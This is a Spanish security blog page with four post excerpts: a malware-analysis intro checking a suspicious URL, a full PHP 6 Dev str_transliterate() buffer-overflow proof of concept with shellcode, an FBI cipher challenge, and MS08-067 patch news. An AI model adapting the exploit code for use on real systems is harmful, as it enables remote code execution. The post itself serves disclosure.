Javascript ofuscado ¿Qué hacemos?
Nov17

Javascript ofuscado ¿Qué hacemos?

En la última charla que di en la HighSecCon II siempre comento lo complicado que resulta a veces analizar según que datos en según que escenarios. Una de las cosas que son complicadas es analizar el código ofuscado de las inyecciones de troyano, o el código ofuscado de un kit de explotación o de un simple HTML que te haga un redirect hacia otra página etc… Mi amigo @NaxoneZ me ha echo forward de un mensaje que le ha llegado por LinkedIn. El mensaje solo contenía una URL por lo que ya parece sospechoso, sospechoso. Esta era el mensaje de LinkedIn: El mensaje de LinkedIn es legítimo, lo único que la URL pues, evidentemente se tratará de algo malo, nadie suele enviar solo URL’s jajaja. Antes de nada, vamos a comprobar que el HTML de esa página sigue activo. Con un curl, podremos comprobar el estado: darkmac:pruebas marc$ curl -I http://www.portaldj.vsi.ru/spited.html HTTP/1.1 200 OK Date: Sun, 17 Nov 2013 21:50:06 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8l PHP/4.4.9 Last-Modified: Tue, 05 Nov 2013 23:15:51 GMT ETag: “51efb-204-4ea7636b2a147” Accept-Ranges: bytes Content-Length: 516 Content-Type: text/html Como veis arroja un 200!! Ahora lo que podemos hacer es descargar el HTML para ver el contenido antes de acceder siempre desde una sandbox por supuesto. Descargamos el HTML con un wget, por ejemplo y abrimos el HTML con nuestro editor favorito: Como veis, no hay quien entienda lo que hace ese código, además de que no está nada identado, por lo tanto tampoco se le puede seguir la lógica, lo primero que se podría hacer es tratar de identar el código. Una buena herramienta que nos puede ayudar a eso es JSBeautifer, copiamos el código y lo pegamos en la web de JsBeautifer para que quede bien puesto: Queda un poco mas legible, vamos a colocarlo en nuestro editor favorito: Es un buen momento para señalar que, aunque hemos usado JsBeautifer para identar el código, no significa que a priori sepamos lo que hace realmente el malware. Vamos a acabar aquí ahora, en la segunda parte veremos mas...

Leer Más

Buffer Overflow en PHP 6 Dev

Recientemente fue descubierto un fallo grave de seguridad en la versión de desarrollo de PHP 6, el lenguaje de programación mas utilizado para realizar aplicaciones web. El problema se encuentra en la funcion str_transliterate() que permite “traducir” un texto de un lenguaje a otro, pero a su vez no valida adecuadamente los parámetros de entrada y permite la ejecución de código por medio de un buffer overflow. Les dejo una PoC que explota esta vulnerabilidad sobre servidor Apache, corriendo en Windows XP SP3 y permite ejecutar la calculadora del sistema: # Title: PHP 6.0 Dev str_transliterate() 0Day Buffer Overflow Exploit # EDB-ID: 12051 # CVE-ID: () # OSVDB-ID: () # Author: Pr0T3cT10n # Published: 2010-04-04 # Verified: yes # Download Exploit Code # Download Vulnerable app <?php error_reporting(0); ##################################################################### ## PHP 6.0 Dev str_transliterate() 0Day Buffer Overflow Exploit ## Tested on WIN XP HEB SP3, Apache, PHP 6.0 Dev ## Buffer Overflow ## Bug discovered by Pr0T3cT10n, <[email protected]> ## Exploited by TheLeader, Debug ## SP. Thanks: HDM ## http://www.nullbyte.org.il ##################################################################### ## This code should exploits a buffer overflow in the str_transliterate() function to call WinExec and execute CALC ## Take a look, 'unicode.semantics' has to be on! ## php.ini > unicode.semantics = on ##################################################################### if(ini_get_bool('unicode.semantics')) { $buff = str_repeat("\u4141", 256); $eip = "\u1445\u10A9"; # 0x10A91445 JMP ESP @ php6ts.dll $nops = str_repeat("\u9090", 20); # WinExec Calc XP SP3 HEB Unicode-encoded shellcode $shellcode = "\u02EB\u05EB\uF9E8\uFFFF\u33FF\u5BC0\u4388\u8315\u11C3\uBB53\u250D\u7C86\uD3FF\u6163\u636C\u414E"; # WinExec Calc XP SP3 EN Unicode-encoded shellcode (added by muts) # $shellcode = "\u02EB\u05EB\uF9E8\uFFFF\u33FF\u5BC0\u4388\u8315\u11C3\uBB53\u23AD\u7C86\uD3FF\u6163\u636C\u414E"; $exploit = $buff.$eip.$nops.$shellcode; str_transliterate(0, $exploit, 0); } else { exit("Error! 'unicode.semantics' has be on!\r\n"); } function ini_get_bool($a) { $b = ini_get($a); switch (strtolower($b)) { case 'on': case 'yes': case 'true': return 'assert.active' !== $a; case 'stdout': case 'stderr': return 'display_errors' === $a; default: return (bool) (int) $b; } } ?> Hay que recordar que esta versión de PHP aun esta en desarrollo, pero no deja de ser inquietante este tipo de problemas de carácter critico, en un lenguaje de programación tan extendido en la red, como lo es PHP. Mas Información: PHP 6.0 Dev str_transliterate() 0Day Buffer Overflow Exploit Codigo en...

Leer Más

FBI: ¿Puedes romper un código?

Y esta vez el FBI ha creado un nuevo reto de criptoanálisis. Ya lo habían hecho anteriormente (Noviembre de 2007 y Diciembre de 2008) cuando nos daban un código que debíamos de desentrañar y revelar el mensaje que contenía al igual que lo hacen los criptoanalistas en sus laboratorios. Esta vez es el mismo objetivo pero han usado un set de caracteres completamente diferentes — antiguas runas que a veces son usados por los delincuentes para codificar sus comunicaciones. En caso de que quieras estudiar un poco las bases de los sistemas de cifrado y como romperlos puedes consultar el artículo creado por ellos: “Analysis of Criminal Codes and Ciphers.” Sí eres nuevo en el tema lo más recomendado es empezar con el código en la página de principiantes. El código a romper es el siguiente: Buena suerte crackeando el código! Actualización: Al parecer varios usuarios ya han logrado romper el código. VIERITO5 por medio de los comentarios nos ha informado de que además publicó en su blog un artículo mostrando como fué que lo logró. ¡Felicitaciones a el y a todos los que lo han logrado! Enlaces Entrada oficial sobre el reto: FBI A 400-Year History of Cryptanalysis The Zodiac Killer Case Cryptanalysis in the FBI...

Leer Más

Microsoft Publica parche que corrige Vulnerabilidad “Critica”

Microsoft acaba de publicar un parche que corrige una vulnerabilidad que cataloga como “critica” y afecta todos los sistemas Windows (desde Windows 2000 a Vista, pasando por XP, 2003, 2008 e incluso el futuro Windows 7 aun en pruebas). El alcance del fallo depende del sabor de Windows que utilice el sistema atacado, Los mas afectados son los Sistemas Windows 2000, XP y 2003 ya que esta vulnerabilidad proporciona el control total de forma remota  al sistema víctima a través de los recursos compartidos, facilitando la ejecución de código malicioso y todo esto sin necesidad autenticación ni participación alguna por parte del usuario de la máquina atacada, lo que  deja el terreno abonado para que un gusano automatice el ataque y cause grandes daños. De momento la solución recomendada es actualizar nuestro sistema tan pronto como sea posible utilizando el Windows Update, tener un buen Firewall en nuestra maquina (Al parecer, el firewall de SP2 evita el ataque, siempre que esté activado y no esté habilitada la compartición de ficheros e impresoras); El panorama es mas “alentador” para los sistemas Microsoft Windows Vista y 2008 Server, ya que al parecer sólo es posible provocar denegaciones de servicio. Mas Información: Informacion Tecnica del Parche MS08-067 Anuncio en el blog de Technet Otros portales que hablan del fallo: Kriptopolis, Hispasec, seguridad.unam.mx, BlogAntivirus, FrSIRT, Q2.0, cgisecurity,...

Leer Más

Siguenos!

O Puedes Subscribete

ANTES DE

SALIRTE ...

NO TE

ARREPENTIRÁS

!Gracias¡

NO OLVIDES NUESTRAS REDES SOCIALES